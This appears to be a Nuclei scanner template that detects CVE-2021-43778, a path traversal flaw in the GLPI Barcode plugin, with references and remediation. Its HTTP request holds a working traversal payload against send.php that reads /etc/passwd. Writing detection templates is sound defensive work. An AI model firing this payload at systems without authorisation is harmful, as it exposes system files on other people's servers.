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id : CVE-2021-43778
info :
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name : GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
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author : cckuailong
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severity : high
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description : Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
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reference :
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- https://github.com/AK-blank/CVE-2021-43778
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- https://nvd.nist.gov/vuln/detail/CVE-2021-43778
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- https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
- https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
remediation : Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
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cve-id : CVE-2021-43778
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cwe-id : CWE-22
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cpe : cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
epss-score : 0.77314
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tags : glpi,cve,cve2021,lfi,plugin,traversal
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metadata :
max-request : 1
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http :
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- method : GET
path :
- "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"
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matchers-condition : and
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matchers :
- type : status
status :
- 200
- type : regex
regex :
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- "root:.*:0:0:"
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# Enhanced by mp on 2022/02/28